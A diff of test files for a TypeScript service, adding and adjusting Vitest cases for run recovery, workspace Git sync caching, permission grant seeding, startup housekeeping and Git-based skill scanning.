await db.delete(heartbeatRunEvents).where(inArray(heartbeatRunEvents.runId, candidateRunIds));
|
||||
await db
|
||||
.delete(nativeRunFinalizations)
|
||||
.where(inArray(nativeRunFinalizations.runId, candidateRunIds));
|
||||
await db
|
||||
.delete(heartbeatRuns)
|
||||
.where(inArray(heartbeatRuns.id, candidateRunIds));
|
||||
await db.delete(issues).where(inArray(issues.id, candidateRunIds));
|
||||
}
|
||||
});
|
||||
|
||||
@@ -523,7 +533,7 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
expect.objectContaining({ phase: "terminal_failure", failureCode: "native_session_interrupted" }),
|
||||
]);
|
||||
await expect(db.select().from(issueRecoveryActions)
|
||||
.where(eq(issueRecoveryActions.sourceIssueId, issueId))).resolves.toEqual([
|
||||
.where(eq(issueRecoveryActions.sourceIssueId, missingCheckpointRunId))).resolves.toEqual([
|
||||
expect.objectContaining({ cause: "native_session_interrupted", wakePolicy: null }),
|
||||
]);
|
||||
});
|
||||
@@ -542,11 +552,13 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
|
||||
it("sends exactly one Sentry event when a sweep resolves a run from running to failed", async () => {
|
||||
const freshRunId = "79000000-0000-4000-8000-000000000101";
|
||||
await db.insert(issues).values({ id: freshRunId, companyId, title: "Independent failure report",
|
||||
status: "in_progress", assigneeAgentId: agentId });
|
||||
await db.insert(heartbeatRuns).values({
|
||||
id: freshRunId,
|
||||
companyId,
|
||||
agentId,
|
||||
nativeIssueId: issueId,
|
||||
nativeIssueId: freshRunId,
|
||||
status: "running",
|
||||
runtimeMode: "native",
|
||||
runtimeModeResolvedAt: new Date(),
|
||||
@@ -556,12 +568,12 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
binding: { runId: freshRunId },
|
||||
},
|
||||
},
|
||||
contextSnapshot: { issueId },
|
||||
contextSnapshot: { issueId: freshRunId },
|
||||
});
|
||||
await db.insert(nativeRunFinalizations).values({
|
||||
runId: freshRunId,
|
||||
companyId,
|
||||
issueId,
|
||||
issueId: freshRunId,
|
||||
phase: "retryable_failure",
|
||||
attempt: 1,
|
||||
});
|
||||
@@ -578,11 +590,13 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
|
||||
it("sends no Sentry event when a sweep finds a run that is already failed", async () => {
|
||||
const freshRunId = "79000000-0000-4000-8000-000000000102";
|
||||
await db.insert(issues).values({ id: freshRunId, companyId, title: "Independent failure report",
|
||||
status: "in_progress", assigneeAgentId: agentId });
|
||||
await db.insert(heartbeatRuns).values({
|
||||
id: freshRunId,
|
||||
companyId,
|
||||
agentId,
|
||||
nativeIssueId: issueId,
|
||||
nativeIssueId: freshRunId,
|
||||
status: "failed",
|
||||
runtimeMode: "native",
|
||||
runtimeModeResolvedAt: new Date(),
|
||||
@@ -592,12 +606,12 @@ describe("P6-25 pre-result native session recovery", () => {
|
||||
binding: { runId: freshRunId },
|
||||
},
|
||||
},
|
||||
contextSnapshot: { issueId },
|
||||
contextSnapshot: { issueId: freshRunId },
|
||||
});
|
||||
await db.insert(nativeRunFinalizations).values({
|
||||
runId: freshRunId,
|
||||
companyId,
|
||||
issueId,
|
||||
issueId: freshRunId,
|
||||
phase: "retryable_failure",
|
||||
attempt: 1,
|
||||
});
|
||||
|
||||
@@ -1822,7 +1822,7 @@ describe("P6-31 Section 18.13 executable status-authority corpus", () => {
|
||||
};
|
||||
}
|
||||
|
||||
it("executes all 53 fixtures in their production consumers and joins all 70 matrix rows", async () => {
|
||||
it("executes all 53 fixtures, joins all 70 matrix rows, and rejects mutated comparison fields", async () => {
|
||||
expect(corpus.schema).toBe("paperclip.status-authority-conformance.v1");
|
||||
expect(corpus.fixtures).toHaveLength(53);
|
||||
|
||||
@@ -1869,11 +1869,6 @@ describe("P6-31 Section 18.13 executable status-authority corpus", () => {
|
||||
.toBe(requiredConsumerForMatrixRow(result.matrixRow));
|
||||
}
|
||||
}
|
||||
}, 60_000);
|
||||
|
||||
it("fails independently when any asserted field category is mutated", async () => {
|
||||
const observations = new Map<string, FixtureObservation>();
|
||||
for (const fixture of corpus.fixtures) observations.set(fixture.id, await executeFixture(fixture));
|
||||
|
||||
for (const fixture of corpus.fixtures) {
|
||||
const observed = observations.get(fixture.id)!;
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
import { execFile } from "node:child_process";
|
||||
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { mkdir, mkdtemp, readFile, readdir, rm, writeFile } from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { heartbeatRuns, type Db } from "@paperclipai/db";
|
||||
import type { EnvironmentLease } from "@paperclipai/shared";
|
||||
import type { AdapterSandboxExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
|
||||
import type { CommandManagedRuntimeRunner } from "@paperclipai/adapter-utils/command-managed-runtime";
|
||||
import * as restoreMerge from "@paperclipai/adapter-utils/workspace-restore-merge";
|
||||
import * as workspaceSeedCache from "@paperclipai/adapter-utils/workspace-seed-cache";
|
||||
import * as gitWorkspaceSync from "@paperclipai/adapter-utils/git-workspace-sync";
|
||||
import { runLocalGit } from "@paperclipai/adapter-utils/git-workspace-sync";
|
||||
import { prepareNativeWorkspaceSync, nativeWorkspaceSyncInternals } from "../services/native-runtime/native-workspace-sync.js";
|
||||
|
||||
@@ -37,6 +40,7 @@ describe("native warm workspace Git history", () => {
|
||||
const oldInstance = process.env.PAPERCLIP_INSTANCE_ID;
|
||||
const roots: string[] = [];
|
||||
afterEach(async () => {
|
||||
vi.restoreAllMocks();
|
||||
if (oldHome === undefined) delete process.env.PAPERCLIP_HOME;
|
||||
else process.env.PAPERCLIP_HOME = oldHome;
|
||||
if (oldInstance === undefined) delete process.env.PAPERCLIP_INSTANCE_ID;
|
||||
@@ -44,8 +48,12 @@ describe("native warm workspace Git history", () => {
|
||||
await Promise.all(roots.splice(0).map(root => rm(root, { recursive: true, force: true })));
|
||||
});
|
||||
|
||||
it.each(["unchanged", "host_commit", "host_branch", "host_origin", "remote_commit", "nested_commit", "plain_nested_commit"] as const)(
|
||||
it.each(["unchanged", "host_commit", "host_branch", "host_origin", "remote_commit", "remote_commit_corrupt_seed", "remote_commit_missing_seed", "remote_commit_cache_refused", "host_bytes_cache_refused", "remote_commit_missing_run_seed", "remote_commit_corrupt_run_seed", "nested_commit", "plain_nested_commit"] as const)(
|
||||
"checks Git identity before reusing a warm sandbox: %s", async (change) => {
|
||||
const invalidRunSeed = change === "remote_commit_missing_run_seed" || change === "remote_commit_corrupt_run_seed";
|
||||
const cacheRefused = change === "remote_commit_cache_refused" || change === "host_bytes_cache_refused" || invalidRunSeed;
|
||||
const snapshotWorker = vi.spyOn(restoreMerge, "captureDirectorySnapshotOffThread");
|
||||
const packClone = vi.spyOn(gitWorkspaceSync, "withShallowGitWorkspaceClone");
|
||||
const root = await mkdtemp(path.join(os.tmpdir(), "paperclip-warm-history-"));
|
||||
roots.push(root);
|
||||
process.env.PAPERCLIP_HOME = path.join(root, "home");
|
||||
@@ -95,6 +103,7 @@ describe("native warm workspace Git history", () => {
|
||||
const input = { db: db as unknown as Db, companyId: "company", workspaceId: "workspace", workspaceLocalDir: host, lease, target };
|
||||
const first = (await prepareNativeWorkspaceSync({ ...input, runId: "first" }))!;
|
||||
expect(first.mode).toBe("host_current");
|
||||
expect(snapshotWorker).toHaveBeenCalled();
|
||||
expect(first.reference.schema).toBe("paperclip.native-workspace-sync/v3");
|
||||
if (change === "plain_nested_commit") {
|
||||
const recovered = await nativeWorkspaceSyncInternals.readDescriptor({ runId: "first", reference: first.reference });
|
||||
@@ -110,24 +119,61 @@ describe("native warm workspace Git history", () => {
|
||||
await git(host, "checkout", "-b", "other");
|
||||
} else if (change === "host_origin") {
|
||||
await git(host, "remote", "add", "origin", "https://github.com/paperclipai/new-source.git");
|
||||
} else if (change === "remote_commit") {
|
||||
} else if (change === "host_bytes_cache_refused") {
|
||||
await writeFile(path.join(host, "file.txt"), "updated host content\n");
|
||||
await writeFile(path.join(host, "extra.txt"), "new host file\n");
|
||||
} else if (change.startsWith("remote_commit")) {
|
||||
await git(remote, "-c", "user.name=Test", "-c", "user.email=test@paperclip.dev", "commit", "--allow-empty", "-m", "remote only");
|
||||
}
|
||||
if (change === "remote_commit_corrupt_seed" || change === "remote_commit_missing_seed") {
|
||||
const cache = path.join(process.env.PAPERCLIP_HOME!, "instances", "test", "native-workspace-sync", "generations", "company", "workspace");
|
||||
const [generation] = (await readdir(cache)).filter(name => /^[a-f0-9]{64}$/.test(name));
|
||||
expect(generation).toBeDefined();
|
||||
const archive = path.join(cache, generation!, "workspace.tar");
|
||||
await rm(archive);
|
||||
if (change === "remote_commit_corrupt_seed") await writeFile(archive, "invalid cached archive");
|
||||
}
|
||||
if (cacheRefused) {
|
||||
await rm(path.join(process.env.PAPERCLIP_HOME!, "instances", "test", "native-workspace-sync", "generations", "company", "workspace"), { recursive: true, force: true });
|
||||
vi.spyOn(workspaceSeedCache, "publishWorkspaceSeedGeneration").mockResolvedValue(false);
|
||||
}
|
||||
const hostRepo = change === "plain_nested_commit" ? path.join(host, nestedPath) : host;
|
||||
const remoteRepo = change === "plain_nested_commit" ? path.join(remote, nestedPath) : remote;
|
||||
const expectedContents = await readFile(path.join(hostRepo, "file.txt"), "utf8");
|
||||
const expectedHead = await git(hostRepo, "rev-parse", "HEAD");
|
||||
const expectedBranch = await git(hostRepo, "symbolic-ref", "--short", "HEAD");
|
||||
const nestedHead = change === "nested_commit" || change === "plain_nested_commit" ? await git(path.join(host, nestedPath), "rev-parse", "HEAD") : null;
|
||||
runnerProfileJson = {};
|
||||
packClone.mockClear();
|
||||
let invalidatedRunSeed = false;
|
||||
const secondRunner: CommandManagedRuntimeRunner = {
|
||||
execute: async operation => {
|
||||
const result = await runner.execute(operation);
|
||||
if (invalidRunSeed && !invalidatedRunSeed && operation.args?.some(arg => arg.includes("cat ") && arg.includes("workspace-sync-v1.json"))) {
|
||||
invalidatedRunSeed = true;
|
||||
const seed = nativeWorkspaceSyncInternals.durableSeedPaths("second");
|
||||
await rm(seed.workspaceArchivePath);
|
||||
if (change === "remote_commit_corrupt_run_seed") await writeFile(seed.workspaceArchivePath, "invalid prepared archive");
|
||||
}
|
||||
return result;
|
||||
},
|
||||
};
|
||||
const second = (await prepareNativeWorkspaceSync({ ...input, runId: "second", target: {
|
||||
...target, sandboxLeaseAcquisition: { outcome: "resumed", providerLeaseId: "sandbox" },
|
||||
...target, runner: secondRunner, sandboxLeaseAcquisition: { outcome: "resumed", providerLeaseId: "sandbox" },
|
||||
} }))!;
|
||||
try {
|
||||
if (change === "remote_commit") expect(packClone).not.toHaveBeenCalled();
|
||||
if (cacheRefused) expect(packClone).toHaveBeenCalledTimes(invalidRunSeed ? 2 : 1);
|
||||
if (invalidRunSeed) expect(invalidatedRunSeed).toBe(true);
|
||||
if (change === "remote_commit_corrupt_seed" || change === "remote_commit_missing_seed") expect(packClone).toHaveBeenCalled();
|
||||
expect(second.mode).toBe(change === "unchanged" ? "adopt_remote" : "host_current");
|
||||
expect(await readFile(path.join(remoteRepo, "file.txt"), "utf8")).toBe(expectedContents);
|
||||
if (change === "host_bytes_cache_refused") expect(await readFile(path.join(remote, "extra.txt"), "utf8")).toBe("new host file\n");
|
||||
expect(await git(remoteRepo, "rev-parse", "HEAD")).toBe(expectedHead);
|
||||
expect(await git(remoteRepo, "symbolic-ref", "--short", "HEAD")).toBe(expectedBranch);
|
||||
if (change === "host_origin") expect(await git(remote, "remote", "get-url", "origin")).toBe("https://github.com/paperclipai/new-source.git");
|
||||
await second.restoreWorkspace();
|
||||
expect(await readFile(path.join(hostRepo, "file.txt"), "utf8")).toBe(expectedContents);
|
||||
expect(await git(hostRepo, "rev-parse", "HEAD")).toBe(expectedHead);
|
||||
if (nestedHead) {
|
||||
expect(await git(path.join(remote, nestedPath), "rev-parse", "HEAD")).toBe(nestedHead);
|
||||
|
||||
@@ -1237,7 +1237,7 @@ describeEmbeddedPostgres("pipeline routes", () => {
|
||||
})
|
||||
.expect(201);
|
||||
const caseIds: string[] = [];
|
||||
for (let index = 0; index < 50; index += 1) {
|
||||
for (let index = 0; index < 5; index += 1) {
|
||||
const created = await http
|
||||
.post(`/api/pipelines/${pipeline.body.id}/cases`)
|
||||
.send({ caseKey: `bulk-${index}`, title: `Bulk ${index}` })
|
||||
@@ -1258,12 +1258,14 @@ describeEmbeddedPostgres("pipeline routes", () => {
|
||||
})
|
||||
.expect(200);
|
||||
|
||||
expect(bulk.body.results.filter((item: { ok: boolean }) => item.ok)).toHaveLength(47);
|
||||
expect(bulk.body.results.filter((item: { ok: boolean }) => item.ok)).toHaveLength(2);
|
||||
const failed = bulk.body.results.filter((item: { ok: boolean }) => !item.ok);
|
||||
expect(failed).toHaveLength(3);
|
||||
expect(failed.every((item: { error: { code: string } }) => item.error.code === "version_conflict")).toBe(true);
|
||||
const requestChangesDetail = await http.get(`/api/cases/${caseIds[3]}`).expect(200);
|
||||
expect(requestChangesDetail.body.stage.key).toBe("in_progress");
|
||||
const approvalDetail = await http.get(`/api/cases/${caseIds[4]}`).expect(200);
|
||||
expect(approvalDetail.body.stage.key).toBe("done");
|
||||
});
|
||||
|
||||
it("returns conflict bodies with code, current version, and stage", async () => {
|
||||
|
||||
@@ -0,0 +1,158 @@
|
||||
import { randomUUID } from "node:crypto";
|
||||
import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
|
||||
import { and, eq } from "drizzle-orm";
|
||||
import { companies, createDb, principalPermissionGrants } from "@paperclipai/db";
|
||||
import {
|
||||
getEmbeddedPostgresTestSupport,
|
||||
startEmbeddedPostgresTestDatabase,
|
||||
} from "./helpers/embedded-postgres.js";
|
||||
import { grantsForHumanRole } from "../services/company-member-roles.js";
|
||||
import {
|
||||
ensureHumanRoleDefaultGrants,
|
||||
insertMissingPrincipalGrants,
|
||||
} from "../services/principal-access-compatibility.js";
|
||||
|
||||
const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
|
||||
const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
|
||||
|
||||
if (!embeddedPostgresSupport.supported) {
|
||||
console.warn(
|
||||
`Skipping embedded Postgres principal grant tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
|
||||
);
|
||||
}
|
||||
|
||||
describeEmbeddedPostgres("insertMissingPrincipalGrants", () => {
|
||||
let db!: ReturnType<typeof createDb>;
|
||||
let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
|
||||
|
||||
beforeAll(async () => {
|
||||
tempDb = await startEmbeddedPostgresTestDatabase("paperclip-principal-grants-");
|
||||
db = createDb(tempDb.connectionString);
|
||||
}, 20_000);
|
||||
|
||||
afterEach(async () => {
|
||||
await db.delete(principalPermissionGrants);
|
||||
await db.delete(companies);
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await tempDb?.cleanup();
|
||||
});
|
||||
|
||||
async function createCompany() {
|
||||
return db
|
||||
.insert(companies)
|
||||
.values({
|
||||
name: `Grant Seeding ${randomUUID()}`,
|
||||
issuePrefix: `GS${randomUUID().slice(0, 6).toUpperCase()}`,
|
||||
})
|
||||
.returning()
|
||||
.then((rows) => rows[0]!);
|
||||
}
|
||||
|
||||
async function grantKeys(companyId: string, principalId: string) {
|
||||
const rows = await db
|
||||
.select({ permissionKey: principalPermissionGrants.permissionKey })
|
||||
.from(principalPermissionGrants)
|
||||
.where(
|
||||
and(
|
||||
eq(principalPermissionGrants.companyId, companyId),
|
||||
eq(principalPermissionGrants.principalType, "user"),
|
||||
eq(principalPermissionGrants.principalId, principalId),
|
||||
),
|
||||
);
|
||||
return rows.map((row) => row.permissionKey).sort();
|
||||
}
|
||||
|
||||
it("inserts only the grants that are missing", async () => {
|
||||
const company = await createCompany();
|
||||
const userId = `user-${randomUUID()}`;
|
||||
const ownerGrants = grantsForHumanRole("owner");
|
||||
await insertMissingPrincipalGrants(db, {
|
||||
companyId: company.id,
|
||||
principalType: "user",
|
||||
principalId: userId,
|
||||
grants: ownerGrants.slice(0, 2),
|
||||
grantedByUserId: null,
|
||||
});
|
||||
|
||||
const inserted = await ensureHumanRoleDefaultGrants(db, {
|
||||
companyId: company.id,
|
||||
principalId: userId,
|
||||
membershipRole: "owner",
|
||||
grantedByUserId: null,
|
||||
});
|
||||
|
||||
expect(inserted).toBe(ownerGrants.length - 2);
|
||||
expect(await grantKeys(company.id, userId)).toEqual(
|
||||
ownerGrants.map((grant) => grant.permissionKey).sort(),
|
||||
);
|
||||
await expect(
|
||||
ensureHumanRoleDefaultGrants(db, {
|
||||
companyId: company.id,
|
||||
principalId: userId,
|
||||
membershipRole: "owner",
|
||||
grantedByUserId: null,
|
||||
}),
|
||||
).resolves.toBe(0);
|
||||
});
|
||||
|
||||
it("does not wait on a transaction that is deleting grants that already exist", async () => {
|
||||
const company = await createCompany();
|
||||
const userId = `user-${randomUUID()}`;
|
||||
await ensureHumanRoleDefaultGrants(db, {
|
||||
companyId: company.id,
|
||||
principalId: userId,
|
||||
membershipRole: "owner",
|
||||
grantedByUserId: null,
|
||||
});
|
||||
|
||||
let releaseLock!: () => void;
|
||||
const lockReleased = new Promise<void>((resolve) => {
|
||||
releaseLock = resolve;
|
||||
});
|
||||
let signalLockHeld!: () => void;
|
||||
const lockHeld = new Promise<void>((resolve) => {
|
||||
signalLockHeld = resolve;
|
||||
});
|
||||
const rollback = new Error("rollback");
|
||||
// A permission edit deletes and re-inserts a member's grants inside one
|
||||
// transaction. Until it commits, an INSERT ... ON CONFLICT on the same keys
|
||||
// must wait for it.
|
||||
const holder = db
|
||||
.transaction(async (tx) => {
|
||||
await tx
|
||||
.delete(principalPermissionGrants)
|
||||
.where(
|
||||
and(
|
||||
eq(principalPermissionGrants.companyId, company.id),
|
||||
eq(principalPermissionGrants.principalId, userId),
|
||||
),
|
||||
);
|
||||
signalLockHeld();
|
||||
await lockReleased;
|
||||
throw rollback;
|
||||
})
|
||||
.catch((error) => {
|
||||
if (error !== rollback) throw error;
|
||||
});
|
||||
|
||||
try {
|
||||
await lockHeld;
|
||||
const seeding = ensureHumanRoleDefaultGrants(db, {
|
||||
companyId: company.id,
|
||||
principalId: userId,
|
||||
membershipRole: "owner",
|
||||
grantedByUserId: null,
|
||||
});
|
||||
const outcome = await Promise.race([
|
||||
seeding,
|
||||
new Promise<"blocked">((resolve) => setTimeout(() => resolve("blocked"), 2_000)),
|
||||
]);
|
||||
expect(outcome).toBe(0);
|
||||
} finally {
|
||||
releaseLock();
|
||||
await holder;
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -789,7 +789,7 @@ describe.skipIf(!support.supported)('automatic project skill sources', () => {
|
||||
return fixture;
|
||||
} };
|
||||
const result = await service.refresh(companyId, original.id, growing);
|
||||
expect(result.source.packageMode).toBe('skills');
|
||||
expect(result.source.packageMode).toBe('repository');
|
||||
expect(result.warnings.join(' ')).toContain('repository exceeds');
|
||||
expect(result.source.entries[0]!.skillId).toBe(skillId);
|
||||
expect(result.updated).toHaveLength(1);
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
import { logger } from "../middleware/logger.js";
|
||||
import { getStartupRecoveryState } from "../startup-recovery-state.js";
|
||||
import { idleWorkSnapshot } from "../services/task-admission.js";
|
||||
import { readIdleSleepSafety } from "../services/idle-sleep-safety.js";
|
||||
import * as idleLocalWork from "../services/idle-local-work.js";
|
||||
@@ -445,6 +447,14 @@ import { startServer } from "../index.ts";
|
||||
import { reconcileSafeNativeReplacements } from "../services/native-runtime/native-safe-replacement.js";
|
||||
import { EXECUTION_RECONCILIATION_INTERVAL_MS } from "../services/execution-control-deadline.js";
|
||||
|
||||
// Startup housekeeping runs after readiness and starts the heartbeat scheduler
|
||||
// interval when it finishes. Let that background work settle.
|
||||
async function settleStartupHousekeeping() {
|
||||
for (let index = 0; index < 10; index += 1) {
|
||||
await new Promise<void>((resolve) => setImmediate(resolve));
|
||||
}
|
||||
}
|
||||
|
||||
describe("startServer feedback export wiring", () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
@@ -721,6 +731,7 @@ describe("startServer feedback export wiring", () => {
|
||||
}) as typeof setInterval);
|
||||
try {
|
||||
await startServer();
|
||||
await settleStartupHousekeeping();
|
||||
expect(heartbeatServiceMock.reconcileCostAccounting).toHaveBeenCalledTimes(1);
|
||||
expect(heartbeatServiceMock.sweepStaleIssueLocks).toHaveBeenCalledTimes(1);
|
||||
expect(intervalCallback).not.toBeNull();
|
||||
@@ -782,6 +793,7 @@ describe("startServer feedback export wiring", () => {
|
||||
|
||||
try {
|
||||
await startServer();
|
||||
await settleStartupHousekeeping();
|
||||
|
||||
expect(heartbeatServiceMock.reapOrphanedRuns).not.toHaveBeenCalled();
|
||||
expect(heartbeatServiceMock.tickTimers).not.toHaveBeenCalled();
|
||||
@@ -849,6 +861,7 @@ describe("startServer feedback export wiring", () => {
|
||||
}) as typeof setInterval);
|
||||
try {
|
||||
expect((await startServer()).server).toBe(fakeServer);
|
||||
await settleStartupHousekeeping();
|
||||
expect(heartbeatServiceMock.reconcileCostAccounting).toHaveBeenCalledTimes(1);
|
||||
expect(tick).toBeDefined();
|
||||
tick?.();
|
||||
@@ -859,6 +872,67 @@ describe("startServer feedback export wiring", () => {
|
||||
}
|
||||
});
|
||||
|
||||
it("reports ready before startup housekeeping finishes and starts the scheduler after it", async () => {
|
||||
loadConfigMock.mockReturnValue(buildTestConfig({
|
||||
heartbeatSchedulerEnabled: true,
|
||||
heartbeatSchedulerIntervalMs: 30000,
|
||||
}));
|
||||
let releaseCleanup: (() => void) | undefined;
|
||||
environmentCustomImagesServiceMock.cleanupExpiredSetupSessions.mockImplementationOnce(() =>
|
||||
new Promise((resolve) => {
|
||||
releaseCleanup = () => resolve({ scanned: 0, timedOut: 0, failed: 0 });
|
||||
}));
|
||||
const heartbeatIntervals: Array<() => void> = [];
|
||||
const setIntervalSpy = vi.spyOn(globalThis, "setInterval").mockImplementation(((
|
||||
callback: () => void,
|
||||
interval: number,
|
||||
) => {
|
||||
if (interval === 30000) heartbeatIntervals.push(callback);
|
||||
return 1 as unknown as ReturnType<typeof setInterval>;
|
||||
}) as typeof setInterval);
|
||||
try {
|
||||
await startServer();
|
||||
// Readiness does not wait for the hung housekeeping step.
|
||||
expect(getStartupRecoveryState().phase).toBe("ready");
|
||||
await settleStartupHousekeeping();
|
||||
expect(heartbeatIntervals).toHaveLength(0);
|
||||
|
||||
releaseCleanup?.();
|
||||
await settleStartupHousekeeping();
|
||||
expect(heartbeatIntervals).toHaveLength(1);
|
||||
} finally {
|
||||
setIntervalSpy.mockRestore();
|
||||
}
|
||||
});
|
||||
|
||||
it("runs the remaining startup housekeeping steps when one fails", async () => {
|
||||
loadConfigMock.mockReturnValue(buildTestConfig({
|
||||
heartbeatSchedulerEnabled: true,
|
||||
heartbeatSchedulerIntervalMs: 30000,
|
||||
}));
|
||||
environmentCustomImagesServiceMock.cleanupExpiredSetupSessions.mockRejectedValueOnce(new Error("provider outage"));
|
||||
const heartbeatIntervals: Array<() => void> = [];
|
||||
const setIntervalSpy = vi.spyOn(globalThis, "setInterval").mockImplementation(((
|
||||
callback: () => void,
|
||||
interval: number,
|
||||
) => {
|
||||
if (interval === 30000) heartbeatIntervals.push(callback);
|
||||
return 1 as unknown as ReturnType<typeof setInterval>;
|
||||
}) as typeof setInterval);
|
||||
try {
|
||||
await expect(startServer()).resolves.toBeDefined();
|
||||
await settleStartupHousekeeping();
|
||||
expect(vi.mocked(logger.error)).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ startupStep: "custom_image_setup_cleanup" }),
|
||||
"startup housekeeping step failed",
|
||||
);
|
||||
// The scheduler starts only after every housekeeping step settled.
|
||||
expect(heartbeatIntervals).toHaveLength(1);
|
||||
} finally {
|
||||
setIntervalSpy.mockRestore();
|
||||
}
|
||||
});
|
||||
|
||||
it("does not replay hot-restart adoption when the orphan reaper retries", async () => {
|
||||
loadConfigMock.mockReturnValue(buildTestConfig({
|
||||
heartbeatSchedulerEnabled: true,
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
import { expect, it, vi } from 'vitest';
|
||||
import { skillRepositoryDependencies } from '../services/skill-repository-dependencies.js';
|
||||
import { MAX_REPOSITORY_FILES } from '../services/skill-repository-package.js';
|
||||
import type { GitSkillTreeEntry } from '../services/skill-source-git-snapshot.js';
|
||||
|
||||
it('keeps path visits bounded for a reference chain at the repository file limit', async () => {
|
||||
let pathVisits = 0;
|
||||
const paths = ['skills/main/SKILL.md', ...Array.from({ length: MAX_REPOSITORY_FILES - 1 }, (_, i) => `shared/${i}.md`)];
|
||||
const entries: GitSkillTreeEntry[] = paths.map((name, i) => ({
|
||||
get path() { pathVisits++; return name; },
|
||||
sha: i.toString(16).padStart(40, '0'), mode: '100644', type: 'blob', size: 100,
|
||||
}));
|
||||
const content = new Map(paths.map((name, i) => [name, Buffer.from(i === 0 ? '[Next](../../shared/0.md)'
|
||||
: `[Next](${i === paths.length - 1 ? '0' : String(i)}.md)`)]));
|
||||
const read = vi.fn(async (entry: GitSkillTreeEntry) => content.get(entry.path)!);
|
||||
const prefetch = vi.fn(async () => {});
|
||||
const selected = await skillRepositoryDependencies(entries, [entries[0]!], new Set(['skills/main']), read, prefetch);
|
||||
expect(selected).toEqual(entries);
|
||||
expect(read).toHaveBeenCalledTimes(MAX_REPOSITORY_FILES);
|
||||
expect(prefetch).toHaveBeenCalledTimes(MAX_REPOSITORY_FILES);
|
||||
expect(pathVisits).toBeLessThan(MAX_REPOSITORY_FILES * 100);
|
||||
});
|
||||
@@ -25,7 +25,7 @@ vi.mock('node:child_process', async importOriginal => {
|
||||
} };
|
||||
});
|
||||
import { clearGitSkillSnapshotCache, openGitSkillSnapshot, parseGitDownloadProgress } from '../services/skill-source-git-snapshot.js';
|
||||
import { scanGitHubSkills, type GitHubRead } from '../services/github-skill-source.js';
|
||||
import { scanGitHubSkills, scanGitHubSkillsWithPackageFallback, type GitHubRead } from '../services/github-skill-source.js';
|
||||
const exec = promisify(execFile);
|
||||
let directory: string, commit: string, laterCommit: string;
|
||||
const git = (...args: string[]) => exec('git', ['-C', directory, '-c', 'user.name=Test', '-c', 'user.email=test@example.test', ...args]);
|
||||
@@ -51,6 +51,45 @@ afterEach(async () => { vi.useRealTimers(); interception.hang = false; intercept
|
||||
afterAll(async () => { await rm(directory, { recursive: true, force: true }); });
|
||||
|
||||
describe('Git skill snapshots', () => {
|
||||
it('uses real Git batches for transitive dependencies in an oversized repository', async () => {
|
||||
const remote = await mkdtemp(path.join(os.tmpdir(), 'paperclip-dependency-blobs-'));
|
||||
interception.remote = remote;
|
||||
try {
|
||||
await exec('git', ['-C', remote, 'init', '-b', 'main']);
|
||||
await mkdir(path.join(remote, 'unrelated'));
|
||||
await mkdir(path.join(remote, 'shared'));
|
||||
const files: Record<string, string> = {
|
||||
'shared/guide.md': '[Details](details.md)',
|
||||
'shared/details.md': '[Guide](guide.md) [Data](data.json)',
|
||||
'shared/data.json': '{"value":true}',
|
||||
};
|
||||
for (let i = 0; i < 64; i++) {
|
||||
await mkdir(path.join(remote, `skills/skill-${i}`), { recursive: true });
|
||||
files[`skills/skill-${i}/SKILL.md`] = `---\nname: skill-${i}\ndescription: Dependency fixture\n---\n[Guide](../../shared/guide.md)`;
|
||||
}
|
||||
for (const [file, content] of Object.entries(files)) await writeFile(path.join(remote, file), content);
|
||||
const unrelated = Buffer.alloc(1024 * 1024, 'x');
|
||||
for (let i = 0; i < 62; i++) await writeFile(path.join(remote, `unrelated/${i}.bin`), unrelated);
|
||||
await exec('git', ['-C', remote, 'add', '.']);
|
||||
await exec('git', ['-C', remote, '-c', 'user.name=Test', '-c', 'user.email=test@example.test', 'commit', '-m', 'Dependency fixture']);
|
||||
const commitSha = (await exec('git', ['-C', remote, 'rev-parse', 'HEAD'])).stdout.trim();
|
||||
const read = (async (url: string) => url.includes('/commits/') ? { sha: commitSha } : { id: 42, full_name: 'acme/skills', default_branch: 'main' }) as GitHubRead;
|
||||
read.openSnapshot = (input, options) => openGitSkillSnapshot({ ...request(), ref: input.ref, commitSha: input.commitSha }, options);
|
||||
const scan = await scanGitHubSkillsWithPackageFallback({ repositoryUrl: 'https://github.com/acme/skills', packageMode: 'repository' }, read);
|
||||
expect(scan.repositorySubset).toBe(true);
|
||||
expect(scan.repositoryFiles?.map(file => file.path).sort()).toEqual(Object.keys(files).sort());
|
||||
for (const file of scan.repositoryFiles!) {
|
||||
const content = file.encoding === 'base64' ? Buffer.from(file.content, 'base64') : Buffer.from(file.content);
|
||||
expect(content.toString()).toBe(files[file.path]);
|
||||
}
|
||||
const reads = interception.commands.filter(command => command.args.includes('cat-file'));
|
||||
expect(reads).toHaveLength(4);
|
||||
expect(reads.every(command => command.args.includes('--batch'))).toBe(true);
|
||||
} finally {
|
||||
await rm(remote, { recursive: true, force: true });
|
||||
}
|
||||
}, 30_000);
|
||||
|
||||
it('reads many unrelated support files with one Git batch per scan, including cache hits', async () => {
|
||||
const remote = await mkdtemp(path.join(os.tmpdir(), 'paperclip-many-blobs-'));
|
||||
interception.remote = remote;
|
||||
|
||||
@@ -5,7 +5,7 @@ import { promises as fs } from 'node:fs';
|
||||
import os from 'node:os';
|
||||
import path from 'node:path';
|
||||
import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest';
|
||||
import { agents, folders, companySkillSources, companies, companySkills, companySkillVersions, companySkillRepositorySnapshots, createDb } from '@paperclipai/db';
|
||||
